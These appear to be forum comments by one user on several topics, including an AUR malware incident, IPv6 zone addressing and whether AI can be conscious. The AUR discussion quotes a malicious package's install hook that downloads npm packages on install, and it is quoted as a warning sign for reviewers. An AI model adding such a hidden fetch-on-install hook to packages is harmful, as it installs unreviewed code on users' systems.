Europe is heading into the worst energy crisis since at least the 1970s, possibly worse. And yet very little is happening to prepare for it. Definitely some fun times ahead.

First, although I don't disagree with that being how it should work, in a world where everyone relies on npm, cargo, etc. to handle dependencies this scenario is not realistic.

Second and more importantly, it doesn't really change much if it's listed in the sources or not. You can patch a startup file to download something as soon as the program is executed, including checks if it's currently running in a virtual environment. You cannot statically detect that the PKGBUILD contains something like that, antivirus software has been trying to do just that for decades and their detection is still basically useless.

> A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d".

The current situation is users are expected to review PKGBUILDs before they install them. And you're ignoring that implementing any mechanism has a cost. I don't know if it's worth it or not, but it's not unrealistic that it would be a ton of effort for no barely any gain.

Huh? No they don't. I'm not sure what part of the attack your misunderstood, but most people are going to be completely unaffected by this. None of the infrastructure or anything like that got compromised. I updated my AUR packages 2 hours ago, and didn't get served any malware.

Again, there's probably some kind of malware on npmjs at any given time. You don't just shutdown the entire server because of that, that's madness.

> install=toggldesktop-bin-deps.install

And the toggldesktop-bin-deps.install contains this:

> post_install() {{

> cd /tmp

> bun add axios uuid ora js-digest

> }}

Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.

Do you not realize how crazy of an request that is?

Ultimately, the way we're doing permissions on the OS level is fundamentally broken on desktop OSes, and we're increasingly feeling the effects of that. Ideally everything should be sandboxed by default, and only given access to it's own files, instead of everything the user has.

But we're a long way away from that, and that's not something a single project could enforce.

Maybe they'd be an option, but then the whole "making sure they've read the message before proceeding" part goes out the window.

Maybe doing automated LLM reviews would help, but this is a large infrastructure investment. And it's not clear that it helps at all, after all models are quite vulnerable to prompt-injection type attacks.

There are AUR helpers, but these are completely unaffiliated with arch and the people running the AUR. The canonical, recommended way of installing arch packages is cloning a git repo, reading through the sources and then building it with makepkg. There is no client there that could show the user anything.

> New API should have infrastructure for informing users and making sure they've read the message before proceeding.

How would that even work? AUR packages are just git repos, everything that AUR helpers are doing or not doing is not under the control of the arch maintainers.

You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why.

A lot of people complain about Arch Linux being elitist, but the simple reality is it's a distro built for people who know what they are doing and don't need or want their hand held at every step of the way. This also means that if you break or compromise your own system by installing random AUR packages, it's your own damn fault.

All of that being said, the era of allowing anyone to adopt AUR packages might be coming to an end. If for no other reason then the effort of rolling back every affected package every time is too high. I'm not sure what the alternative would be, reviewing every adoption request seems like too much effort and wouldn't necessarily even help every time.

If the headline was "EU invests 100B into open source to further independence from US", I imagine things would be different. But right now it's "we have intentions to have plans about tech and open source in the EU sometime in the future".

How is IPv6 weird here, it's the exact same thing in IPv4, no? If you have two different network interfaces, you have to identify which is which somehow, either by assigning a specific IP range to it or by adding some kind of identifier.

Making zones part of addresses in the first place was probably a mistake, I agree, but the problem of address conflicts when users can choose arbitrary addresses certainly isn't a design flaw of IPv6.

And from a quick scan of the website, I don't see how yours is different from the million other websites that generate AI videos and images. Except I have to register to even try it, which is already a huge point of friction that many other websites don't have.

A human brain in a jar is still human, still conscious - and can still suffer. But if you somehow managed to digitize the whole thing, and run it in a computer it becomes something different entirely. You could record the most pleasurable thing in existence and have the digital brain relive it a million times, and it would be equally meaningless to torturing it a million times.

This is NOT inherently tied to meat vs machine - although it's difficult to imagine how you'd access the information stored in biological neurons, while for silicon chips it's trivial.

Whatever makes experiences, both good and bad, meaningful is tied to their permanence. Memory rooted in linear time, not something you can store, load or replay. Remove that, and whatever you're left with might be intelligent, but not conscious.

I don't think you could build something with LLMs today that would be considered conscious, even if you somehow manged to keep their context window inaccessible and linear in time. The separation of training vs inference probably makes that infeasible, even if you store "memories" in context, once the contents in it become too disjointed and too numerous, the resulting output of the LLM becomes gibberish. But it is certainly something that can change in the future.

Conversely, even the most intelligent and capable artificial intelligence system, far exceeding human capabilities, would not be conscious in a meaningful way, if you could store, load and replay everything it does.

Which just begs the question of how pain or hunger is any different from a reward function, the very thing neural networks are based on. Or how it's even different from fungi growing towards food (pleasure), while avoiding salt (pain).

But it's also easy to argue that LLMs do pass the turing test just because it's so vague. How many questions can I ask? What's the success threshold needed to 'pass'? How familiar is the interrogator with the technology involved? It's easy to claim that goal posts have been moved when nobody even knew where they stood to begin with.

Ultimately it's impossible to rigorously define something that's so poorly understood. But if we understand consciousness as something that humans uniquely possess, it's hard to imagine that intelligence alone is enough. You at least also need some form of linear (in time) memory and the ability to change as a result from that memory.

And that's where silicon and biological computers differ - it's easy to copy/save/restore the contents of a digital computer but it's far outside our capabilities to do the same with any complex biological system. And that same limitation makes it very difficult for us humans to even imagine how consciousness could exist without this property of being 'unique', of being uncopiable. Of existing in linear time, without any jumps or resets. Perhaps consciousness doesn't make sense at all without that.

Well the assumption was that you could secure OpenClaw or at least limit the damage it can do. I was also thinking more about the general usecase of a AI SRE, so not necessarily tied to OpenClaw, but for general self hosting. But yeah probably doesn't make much of a different in your case then.